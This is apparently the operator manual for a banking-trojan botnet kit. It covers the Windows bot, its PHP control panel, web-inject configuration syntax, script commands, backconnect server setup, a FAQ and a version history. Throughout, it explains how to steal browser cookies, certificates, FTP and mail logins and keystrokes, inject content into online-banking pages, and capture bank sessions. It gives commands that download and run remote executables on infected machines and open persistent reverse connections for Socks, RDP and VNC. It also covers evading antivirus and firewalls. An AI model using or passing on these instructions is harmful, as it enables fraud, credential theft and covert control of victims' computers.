User guide

Description: Bot

- **Language and IDE programming:**

  Visual C++ (current version 9.0). No additional libraries are used (crtl, mfc, etc.).

- **Supported OS:**

  XP/Vista/Seven, as well as 2003/2003R2/2008/2008R2. Included work under Windows x64, but only for 32-x bits processes. Also retained full bot work under active "Terminal Servers" sessions.

- **Action principle:**

  Bot is based on intercepting WinAPI, by splicing in ring3 (user mode), by running a copy of its code in each process of the user (without using DLL).

- **Installation process:**

  At the moment, the bot is primarily designed to work under Vista/Seven, with enabled UAC, and without the use of local exploits. Therefore the bot is designed to work with minimal privileges (including the user "Guest"), in this regard the bot is always working within sessions per user (from under which you install the bot.). Bot can be set for each use in the OS, while the bots will not know about eachother. When you run the bot as "LocalSystem" user it will attempt to infect all users in the system.

  When you install, bot creates its copy in the user's home directory, this copy is tied to the current user and OS, and cannot be run by another user, or even more OS. The original copy of the same bot (used for installation), will be automatically deleted, regardless of the installation success.

- **The session with the server (control panel):**

  Session with the server through a variety of processes from an internal "white list" that allows you to bypass most firewalls. During the session, the bot can get the configuration to send the accumulated reports, report their condition to the server and receive commands to execute on the computer. The

session takes place via HTTP-protocol, all data sent by a bot and received from the server is encrypted with a unique key for each botnet.

- **Protection:**

    1. Unique names of all objects (files, MUTEXes, registry keys) when creating a bot for every user and a botnet.
    2. Fixed bot can not be run with a different operating system or user. Destroys the code that is used to install the bot.
    3. At the moment not done to hide bot files through WinAPI, because anti-virus tools are very easy to find such a file, and allow to pinpoint the location of the bot.
    4. Autoupdate bot, do not require a reboot.
    5. Monitoring the integrity of files the bot.

- **Server-side bot functions:**

    1. Socks 4/4a/5 server with support for UDP and IPv6.
    2. Backconnect for any service (RDP, Socks, FTP, etc.) on the infected machine. I.e. may gain access to a computer that is behind a NAT, or, for example, which has prohibited connections by a firewall. For this feature to work there are used additional applications that run on any Windows-server on the Internet, which has a dedicated IP.
    3. Getting a screenshot of your desktop in real time.

- **Intercepting HTTP/HTTPS-requests from wininet.dll (Internet Explorer, Maxton, etc.), nspr4.dll (Mozilla Firefox) libraries:**

    1. Modification of the loaded pages content (HTTP-inject).
    2. Transparent pages redirect (HTTP-fake).
    3. Getting out of the page content the right pieces of data (for example the bank account balance).
    4. Temporary blocking HTTP-injects and HTTP-fakes.
    5. Temporary blocking access to a certain URL.
    6. Blocking logging requests for specific URL.
    7. Forcing logging of all GET requests for specific URL.
    8. Creating a snapshot of the screen around the mouse cursor during the click of buttons.
    9. Getting session cookies and blocking user access to specific URL.

- **Get important information from the user programs:**

    1. Logins from FTP-clients: FlashFXP, CuteFtp, Total Commander, WsFTP, FileZilla, FAR Manager, WinSCP, FTP Commander, CoreFTP, SmartFTP.
    2. "Cookies" Adobe (Macromedia) Flash Player.
    3. "Cookies" wininet.dll, Mozilla Firefox.
    4. Import certificates from the certificate store Windows. And tracking their subsequent addition.
    5. Tracking of pressing the keyboard keys.

- **Traffic sniffer for TCP protocol in Windows Socket.**

    1. Intercept FTP-logins on any port.
    2. Intercept POP3-logins on any port.

- **Miscellaneous:**

    1. Execution of scripts (commands), created in the control panel.
    2. Separation of the botnet to subbotnets (by name).

Description: Control panel

- **Programming language:**

  PHP, using the extensions mbstring, mysql.

- **Display statistics:**

  1. Number of infected computers.
  2. Current number of bots in the online.
  3. The number of new bots.
  4. Daily activity of bots.
  5. Country statistics.
  6. Statistics by OS.

- **Working with the list of bots:**

  1. Filtering the list by country, botnets, IP-addresses, NAT-status, etc.
  2. Displaying desktop screenshots in real time (only for bots outside NAT).
  3. Mass inspection of the Socks-servers state.
  4. Displays detailed information about the bots. Of the most important here are:
     - Windows version, user language and time zone.
     - Location and computer IP-address (not for local).
     - Internet connection speed (measured by calculating the load time of a predetermined HTTP-resource).
     - The first and last time of communication with the server.
     - Time in online.
  5. Ability to set comment for each bot.

- **Scripts (commands):**

  You can control the bots by creating a script for them. Currently, syntax and scripting capabilities, are very primitive.

- **Working with reports (logs) and bots files:**

  Files (such as screenshots, Flash Player cookies) received from the bots are always written to files on the server. You get the opportunity to search for files with a filter: by bots, botnets, content and file name.

  Reports can be written in files (%botnet%/%bot_id%/reports.txt), and in the database. In the first case, the search for records is in exactly the same way as for files. In the second case, you get more flexible filtering, and viewing reports from the Control panel.

- **Receive notifications in the IM (Jabber):**

  You can receive notifications from the Control Panel in the Jabber-account.

  At the moment there is a possibility of receiving notifications about a user entering a defined HTTP/HTTPS-resources. For example, it is used to capture user session in an online bank.

- **Miscellaneous:**

  1. Creating Control panel users with specific access rights.
  2. Displays information about the server software.

3. Automatic recovery of damaged MyISAM tables.

Configuration file: HTTP-inject/HTTP-grabber.

For the convenience of writing, HTTP-inject/HTTP-grabber are recorded in a separate file specified in the configuration file as "DynamicConfig.file_webinjects". Naturally, after creating the end-configuration file, not any additional files are generated.

The file consists of a list of URLs for which you can specify an unlimited number of any modification thereto or derived from their data. The current URL is the following line:

set_url [url] [options] [postdata_blacklist] [postdata_whitelist] [url_block] [matched_context]

Parameters:

url	URL, on which must be run HTTP-inject/HTTP-grabber. Allowed the use of masks (* and # symbols).
options	Defines basic terms and conditions for the records, consists of a combination of the following characters: • **P** - runs at POST-request. • **G** - runs at GET-request. • **L** - if this symbol is specified, then starts going as HTTP-grabber, if not specified, goes as HTTP-inject. • **D** - blocks run more than once in 24 hours. This symbol requires a mandatory presence of the parameter url_block. • **F** - complements the symbol "L", allows you to record the result not in the full report but as a separated file "grabbed\%host%_%year%_%month%_%day%.txt". • **H** - complements the symbol "L", saves the contents without stripping the HTML-tags. In normal mode the same, all HTML-tags are removed, and some are transformed into a character "new line" or "gap". • **I** - compare the url parameter insensitive (only for engl. alphabet). • **C** - compare the context insensitive (only for engl. alphabet).
postdata_blacklist	Complete (from beginning to end) the contents of POST-data, which **should not** be run. Allowed the use of masks (* and ? symbols).Parameter is optional.
postdata_whitelist	Full (from beginning to end) content POST-data, which **should** be run. Allowed the use of masks (* and ? symbols).Parameter is optional.
url_block	**In the absence of the symbol "D" in the options parameter:** If the run must occur only once, then should be specified a URL, in this case the further run will be blocked. Expects that URL to begin immediately after HTTP-inject/HTTP-grabber application. If, after blocking will need rerun, then the lock can be removed via the command "bot_httpinject_enable" with a parameter,

	for example, equal to the parameter url. **In the presence of the symbol "D" in the options parameter:** You must specify a URL, when referring to that, run will be locked at 24-th hour. Expectats that the URL begins immediately after HTTP-inject/HTTP-grabber application. This lock can not be removed by a command "bot_httpinject_enable". Parameter is optional in the absence of a symbol "D" in the options parameter.
matched_context	Subcontent (substring) URL content, which should be run. Allows the use of masks (* and ? symbols).Parameter is optional.

With the next line begins a list of changes introduced in the contents of the URL, and if the symbol "L" is in the parameter options - a list of data is retrieved from the content URL. This list lasts until it reaches the end of the file, or is specified a new URL.

Unit list consists of three elements in random order:

data_before	**In the absence of the symbol "L" in the options parameter:** Subcontent in the URL content, after which you want to enter new data. **In the presence of the symbol "L" in the options parameter:** Subcontent in the URL content, after which you want to start to get data for the report. Allows the use of masks (* and ? symbols).
data_after	**In the absence of the symbol "L" in the options parameter:** Subcontent in the URL content, to which you want to finish the new data. **In the presence of the symbol "L" in the options parameter:** Subcontent in the URL content, after which the need to finish getting the data for the report. Allows the use of masks (* and ? symbols).
data_inject	**In the absence of the symbol "L" in the options parameter:** The new data, that will be inserted between data_before and data_after data. **In the presence of the symbol "L" in the options parameter:** Subcontent in the URL content, after which the need to finish getting the data for the report.

Example:

user_homepage_set	Force setting the homepage as

http://www.google.com/	"http://www.google.com/".
user_homepage_set	Force setting the homepage will be disabled.

LIMITS LOGIC FOR INCOMPLETE before or after

Control panel: Server configuration

The server is the central point of control the botnet, it is engaged in collecting reports of bots and command bots. It is not recommended to use "Virtual Hosting" or "VDS", as with an increase in the botnet, the server will increase, and this kind of web hosting quickly exhaust its resources. You need a "Dedicated Server" (Ded), the recommended minimum configuration:

- 2Gb RAM.
- 2x 2GHz processor speed.
- Separate hard drive for the database.

For bot to work requires HTTP-server with PHP + Zend Optimizer attached, and MySQL-server.
WARNING: For Windows-based servers is very important to change (create) the following registry value: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters \MaxUserPort=dword:65534 (decimal).

- **HTTP-server:**

  As an HTTP-server is recommended to use: for nix-system - Apache from version 2.2, for Windows-servers - IIS from version 6.0. It is recommended to keep the HTTP-server on port 80 or 443 (a positive effect on bot run, as providers/proxy can block access to some non-standard ports).

  Download Apache: http://apache.org/dyn/closer.cgi.
  IIS website: http://www.iis.net/.

- **PHP interpreter:**

  The latest version of the control panel was developed on PHP 5.2.6. Therefore, it is highly recommended to use version, at least this version.

  It is important to make the following settings php.ini:

  - safe_mode = Off
  - magic_quotes_gpc = Off
  - magic_quotes_runtime = Off
  - memory_limit = 256M ;Or higher.
  - post_max_size = 100M ;Or higher.

  and also recommended that you change these settings:

  - display_errors = Off

  Also need to enable the Zend Optimizer (acceleration of the script, and run protected scripts). Recommended version from 3.3.

  Not recommended to connect PHP to the HTTP-server via CGI.

  Download PHP: http://www.php.net/downloads.php.

Download Zend Optimizer: http://www.zend.com/en/products/guard/downloads.

- **MySQL-server:**

  MySQL is required to store all data about the botnet. The recommended version is not below 5.1.30, well worth considering, that when ran the control panel in the older versions were detected some problems. All table control panel, go to format MyISAM, it is important to optimize speed of work with this format, based on the available server resources.

  Recommended the following changes to the settings MySQL-server (my OR my.ini):

  - max_connections=2000 #Or higher

  Download MySQL: http://dev.mysql.com/downloads/.

Control panel: Installation

Designation of files and folders:

/install	installer
/system	system files
/system/fsarc.php	script to call an external archiver
/system/config.php	configuration file
/theme	theme files (design), without Zend, can freely change
cp.php	control panel entrance
gate.php	gate for bots
index.php	empty file to prevent listing of files

The control panel is usually located in your distribution folder server[php]. All contents of this folder is for upload to the server in any location accessible via HTTP. If you upload it via FTP, all files must be uploaded in BINARY mode.

For nix-systems set rights:

/.	777
/system	777

/tmp	777

For Windows-systems set rights:

\system	rights to full rights for reading, writing for an unprivileged user which is used to access the files via HTTP. For IIS it is usually IUSR_*
\tmp	as well as for \system

Once all files are uploaded and are set the rights, need to run in the browser the installer from URL http://server/directory/install/index.php. Follow the on-screen instructions, in case of errors (You will be notified in detail) in the installation process, check the entered data, and proper rights setting to the folder.

After installing, is recommended to remove the install directory, and rename files cp.php (control panel entrance) and gate.php (gate for bots) to any files you like (the extension cannot be changed).

Now you can safely enter into the control panel by typing in the browser URL the renamed file cp.php.

Control panel: Update

If you have a newer copy of the control panel, and want to update an older version, you must do the following:

1. Copy the files of the new panel in place of the old.
2. Rename the files cp.php and gate.php under their real names you selected when you installed the old control panel.
3. Just in case, re-set the directories rights under this section.
4. Run the installer throuh a browser URL http://сервер/директория/install/index.php, and follow the on-screen instructions. The process of the installer may take quite a long period of time, due to the fact that some of the tables with the reports can be recreated.
5. You can use the new control panel.

Control panel: The file /system/fsarc.php.

This file contains a function to call an external archiver. Currently, data logger is used only in the module "Reports::Find in files" (reports_files), and calls to download files and folders in a single archive. By default, configured to Zip archiver, and is universal for both Windows and nix, so all you have to do, is to install into the system this archiver, and give the right to its execution. You can also edit this file to work with any archiver.

Download Zip: http://www.info-zip.org/Zip.html.

Control panel: Commands, used in scripts

- **os_shutdown**

  Shutdown computer. This command will be executed after the execution of the script, regardless of position in the script.

- **os_reboot**

  Reboot computer. This command will be executed after the execution of the script, regardless of position in the script.

- **bot_uninstall**

  Complete removal of the bot from the current user. This command will be executed after the execution of the script, regardless of position in the script.

- **bot_update** [url]

  Update the bot configuration file.

  Parameters:

url	URL, from which to load configuration file. In the case of a successful configuration download, from it will be forced to load and run the file (with parameter "-f"), specified in the "DynamicConfig.url_loader". If this option is not specified or is blank, it will download the configuration file as usual (i.e. as whether it was time to "StaticConfig.timer_config"), with all its consequences.

  Example:

bot_update http://domain /update.bin	Downloads the configuration file "http://domain /update.bin".

- **bot_bc_add** [service] [backconnect_server] [backconnect_server_port]

  Adding a constant (the session will be restored even after restarting the computer) backconnect-session. This command is not available in all builds of the software.

  Parameters:

service	Port number or service name for which to create session.
backconnect_server	Host that is running backconnect-server.
backconnect_server_port	The port number on the host [backconnect_server].

  Examples:

bot_bc_add socks 192.168.100.1 4500	You get access to Socks-server.
bot_bc_add 3389 192.168.100.1 4500	You get access to RDP.

bot_bc_add vnc 192.168.100.1 4500	You get access to VNC.

- **bot_bc_remove** [service] [backconnect_server] [backconnect_server_port]

  Termination of the permanent backconnect-sessions. *This command is not available in all builds of software.*

  Parameters:

service	Port number or service name, for which the session is removed. Allows the use of masks (* and ? symbols), to remove the sessions group.
backconnect_server	Host, that is running backonnect-server. Allows the use of masks (* and ? symbols), to remove the sessions group.
backconnect_server_port	Port number on the host [backconnect_server]. Allows the use of masks (* and ? symbols), to remove the sessions group.

  Examples:

bot_bc_remove socks * *	Deletes all sessions associated with the socks service.
bot_bc_remove * * *	Deletes all existing sessions.

- **bot_httpinject_disable** [url_1] [url_2] ... [url_X]

  Blocking execution of HTTP-injects to a specific URL for the current user. Calling this command does not reset the current block list, but rather complements it.

  Parameters:

url_1, ulr_2, ...	URL's, in which you want to block execution of HTTP-injects. Allows the use of masks (* and # symbols).

  Examples:

bot_httpinject_disable http://www.google.com/*	Blocks execution of HTTP-injects for http://www.google.com/.
bot_httpinject_disable *	Blocks execution of HTTP-injects for each URL.
bot_httpinject_disable *.html *.gif	Blocks execution of HTTP-injects for files with the html and gif.

- **bot_httpinject_enable** [url_1] [url_2] ... [url_X]

Unlock execution of HTTP-injects to a specific URL for the current user.

Parameters:

url_1, ulr_2, ...	Masks (* and # symbols), on which from the list of blocked URL you want to remove the URL.

Examples:

bot_httpinject_enable *.google.*	Remove blocking execution of HTTP-injects in any URL from the block list, which contains in it ".google.".
bot_httpinject_enable *	Clear completely the list of block execution of HTTP-injects.
bot_httpinject_enable *.html https://*	Remove blocking execution of HTTP-injects with all html-files, and to all HTTPS-resources.

- **user_logoff**

  Session termination (logoff) of current user. This command will be executed after the execution of the script, regardless of position in the script.

- **user_execute** [path] [parameters]

  Start the process from the current user. Start process through ShellExecuteW(,NULL,,,,), if start failed, then the process is created through CreateProcessW.

  Parameters:

path	Local path or URL. Can be specified as an executable file (exe), as well as any other extension (doc, txt, bmp, etc.). For a successfull launch of a not executable file (not exe), that must be associated with some program. If the parameter is a local path, then is usually the creation process. You may use "environment variables". If the parameter is a URL, the URL gets downloaded to a file "%TEMP%\random_name\file_name", where random_name - arbitrary folder name, and file_name - resource name of the last part of URL-path (if the URL-path ends in a slash, then could throw an error). Currently is permitted to use only the HTTP and HTTPS protocols, also is recommended that URL-path is URL-encoded (true for non-English characters, the details are in RFC 1630 and 1738).
parameters	Arbitrary parameters passed to the process (not processed by the bot). Are not mandatory.

  Examples:

user_execute http://www.google.com /dave/superdocumet.doc	Download the file in "%TEMP%\random_name \superdocumet.doc", and execute it, for example via MS Word.
user_execute http://www.google.com /dave/killer.exe /KILLALL /RESTART	Download the file in "%TEMP%\random_name \killer.exe", and execute it with "/KILALL /RESTART" parameters.
user_execute "%ProgramFiles%\Windows Media Player\wmplayer.exe"	Launch media-player.
user_execute "%ProgramFiles%\Windows Media Player\wmplayer.exe" "analporno.wmv"	Launch a media-player with the parameter "analporno.wmv".

- **user_cookies_get**

  Get the cookies of all known browsers.

- **user_cookies_remove**

  Delete all cookies from all known browsers.

- **user_certs_get**

  Get all the exported certificates from the certificate store "MY" of the current user. Certificates will be uploaded to the server as pfx-files with the password "pass".

- **user_certs_remove**

  Cleaning certificate store "MY" of the current user.

- **user_url_block** [url_1] [url_2] ... [url_X]

  Block access to the URL in the famous libraries (browsers) for the current user. Calling this command does not reset the current block list, but rather complements it.

  When you try to access blocked URL, the bot shows the following errors:

  - wininet.dll - ERROR_HTTP_INVALID_SERVER_RESPONSE
  - nspr4.dll - PR_CONNECT_REFUSED_ERROR

  Parameters:

url_1, ulr_2, ...	URL's to which you want to block access. Allows the use of masks (* and # symbols).

  Examples:

user_url_block http://www.google.com/*	Block access to any URL on http://www.google.com/.

user_url_block *	Complete blocking of access to any resource.
user_url_block http://*.ru/*.html https://*.ru/*	Block access to any html-file in the zone ru, and blocking access to HTTPS-resources in the zone ru.

- **user_url_unblock** [url_1] [url_2] ... [url_X]

  Unlock access to the URL in the famous libraries (browsers) for the current user.

  Parameters:

url_1, ulr_2, ...	Masks (* and # symbols), on which from the list of blocked URL you want to remove URL.

  Examples:

user_url_unblock *.google.*	Remove the lock on any URL from the block List, which contains ".google.".
user_url_unblock *	Clear the URL block list completely.
user_url_unblock *.html https://*	Remove the lock from all html-files, and blocks from all HTTPS-resources.

- **user_homepage_set** [url]

  Forced change the home page for all known browsers of the current user. Even if the user tries to change the page, it will automatically be restored to the page specified by this command.

  Paramaters:

url	URL, which will be set as the home page. If this option is not specified or is blank, it will force to set off the homepage, but it will not restore the original page specified by the user. I.e. the bot will no longer impede change the home page.

  Examples:

user_homepage_set http://www.google.com/	Force the setting of homepage to "http://www.google.com/".
user_homepage_set	Forcing the homepage will be disabled.

- **user_ftpclients_get**

  Get a list of all FTP-logins of all known FTP-clients. *This command is not available in all builds of the software.*

- **user_flashplayer_get**

  Create an archive "flashplayer.cab" from (*.sol) cookies of Adobe Flash Player (%APPDATA%\Macromedia\Flash Player) of the current user, and send it to the server.

- **user_flashplayer_remove**

  Remove all (*.sol) cookies of Adobe Flash Player (%APPDATA%\Macromedia\Flash Player) of the current user.

Working with the Backonnect-server

Working with the BackConnect with example.

- Backconnect-server IP-address: 192.168.100.1.
- Port for bot: 4500.
- Port for the client application: 1080.
- Bot service: socks.

1. Run a server application (zsbcs.exe or zsbcs64.exe) on the server having its own IP-address on the Internet, for application indicated port, which waits for a connection from a bot, and the port which will connect the client application. For example zsbcs.exe listen -cp:1080 -bp:4500, where 1080 - client port, 4500 - port for the bot.
2. Necessary to send command to bot "bot_bc_add socks 192.168.100.1 4500".
3. Now you need to wait for a connection from the bot to the server, in this period, any attempt to connect the client application will be ignored (will take disconnect from the client). The sign of the connected bot will be output to the console server line "Accepted new conection from bot...".
4. After connecting the bot, you can work with your client application. I.e. You simply connect to the server to the client port (in this case 1080). For example, if you are giving socks commands, then on the client port you would expect Socks-server.
5. After that, when you do not need Backconnect from the bot for a specific service, should issue the command "bot_bc_remove socks 192.168.100.1 4500".

NOTES:

1. You can specify any number of Backconnects (i.e. bot_bc_add), but they should not be a common combination of IP + Port. But if there is such a combination, will run the first added.
2. For each Backconnect, you must run a separate server application.
3. In case of disconnection (server down, drop bot, etc.), the bot will reconnect to the server indefinitely (even after restarting PC), until Backconnect will not be removed (i.e. bot_bc_remove).
4. As a service for bot_bc_add, you can use any open port at the address 127.0.0.1.
5. Server application supports IPv6, but currently this support is not particularly relevant.
6. You can launch the server application under Wine. Writing the same elf application is not currently scheduled.
7. It is highly recommended to use for the bp server application popular ports (80, 8080, 443 etc.), i.e. other ports may be blocked by the provider that owns the bot.
8. Not to be allowed to subscribe different bots on one and the same server port at the same time.
9. The method of such a connection might be useful for bots, which are outside the NAT, i.e. sometimes WIndows firewall of providers, may block the Internet connection.

F.A.Q.

- **What do the numbers in the version?**

  Format version **a**.**b**.**c**.**d**, where:

  - **a** - a complete change in the bot device.
  - **b** - major changes, that cause complete or partial incompatibility with previous versions.
  - **c** - bug fixes, improvements, adding features.
  - **d** - cleaning issue from antivirus for the current version a.b.c.

- **How is generated Bot ID?**

  Bot ID consists of two parts: %name%_%number%, where name - computer name (result of GetComputerNameW), a number - a certain number, generated based on some unique OS data.

- **Why traffic is encrypted with symmetric encryption method (RC4), but not asymmetric (RSA)?**

  Because, in the use of sophisticated algorithms it makes no sense, encryption only needs to hide traffic. Plus in the RSA only, not knowing the key that is in the Control panel, will not be able to emulate its answers. And what's the point to defend against this?

Version history

- **Version 2.0.0.0, 01.04.2010**

  1. Full compatible with previous versions.
  2. Since the core of the bot is aimed at Windows Vista+, and the bot will never use privilege escalation, etc., bot is working within a single user. But the basic attempts to infect other Windows users are made (usually effective in cases of disabling UAC, or run from under LocalSystem).
  3. Arbitrary file names, mutexes, etc.
  4. Completely rewritten bot core, the installation process in the system to send reports to the Control panel.
  5. At installation, the bot recrypts his body, thus preserves a unique copy of the exe-file on each computer.
  6. Binding bot to computer by modifying/deleting some data in the exe-file.
  7. Valuable work with x32 applications in Windows x64.
  8. Delete the original bot file, after execution, regardless of the outcome of performance.
  9. Valuable work in parallel sessions for "Terminal Services".
  10. When run as the LocalSystem user, an attempt is made to infect all system users.
  11. Removed the option "StaticConfig.blacklist_languages".
  12. The name of the botnet is limited to 20 characters and can contain any international characters.
  13. The configuration file is read in UTF-8 encoding.
  14. Removed the option "StaticConfig.url_compip".
  15. A new method for determining the NAT.
  16. You can not upgrade a new version of the bot on an old one.
  17. When updating bot is a complete update immediately, without waiting for a reboot.

18. At the moment, due to some reasons, hide bot files will not run at all.
19. Removed "Protected Storage" grabber, because starting with IE7, it is no longer used.
20. With regard to the unreliability of the old system of counting "Installs" the bot is counted automatically as "Install" when added to database.
21. A new way to get IE cookies.
22. Improved back-connect protocol.
23. Because the "light-mode" builder is designed to test and debug HTTP-injects and HTTP-fakes, it has some limitations on assembly of the configuration file.
24. Complicated to discover the bot traffic.
25. Complete (as with wininet.dll) to work with nspr4.dll, but without HTTP-fakes.

- **Version 2.0.1.0, 28.04.2010**

  Now using an external crypter, with respect to these canceled some features of the previous version:
  1. Modified to bind to the user/OS.
  2. Bot is no longer able to recrypt itself during installation.
  3. Minor improvements to HTTP-injects.

- **Version 2.0.2.0, 10.05.2010**

  1. Forced change of Mozilla Firefox security settings for normal HTTP-injects.
  2. Command "user_homepage_set" uses home page is mandatory for IE and Firefox (i.e. the page will be restored even if the user makes a change) as long as no command is canceled.

- **Version 2.0.3.0, 19.05.2010**

  1. With regard to the fact that HTTP-injects are mostly written by people who understand little of HTTP, HTML, etc., removed warning "*NO MATCHES FOUND FOR CURRENT MASK*". Because due to abuse of the mark "*" masked URL, this warning appears very often.

- **Version 2.0.4.0, 31.05.2010**

  1. In control panel, fixed a bug in the module "Botnet-> Bots", which does not allow to search by IP.
  2. In the configuration file, added the option "StaticConfig.remove_certs", to disable the automatic deletion of certificates from the user store when install the bot.
  3. In the configuration file, added the option "StaticConfig.disable_tcpserver", which allows you to disable the TCP-server (DISABLE: socks-server, screenshots in real time). This option is introduced to prevent warnings from the "Windows Firewall".
  4. Ripped certificates stored on the server with an indication of the user, from which they are received.

- **Version 2.0.5.0, 08.06.2010**

  1. For scripts added commands "bot_httpinject_enable" an "bot_httpinject_disable".
  2. Fixed minor bugs in HTTP-grabber.

- **Version 2.0.6.0, 22.06.2010**

  1. In nspr4.dll, in a particular format of the HTTP-response from server, this reply was not analyzed correctly (resulting, for example, in disabling the HTTP-injects).

- **Version 2.0.7.0, 15.07.2010**

  1. Disable the built-in bot encryption.

- **Version 2.0.8.0, 17.08.2010**

  1. To the parameters HTTP-injects was added a new option "I" (compare URL insensitive) and "C"

(comparison of context insensitive).

- **Version 2.1.0.0, 20.03.2011**
    1. RDP + VNC BACKCONNECT ADDED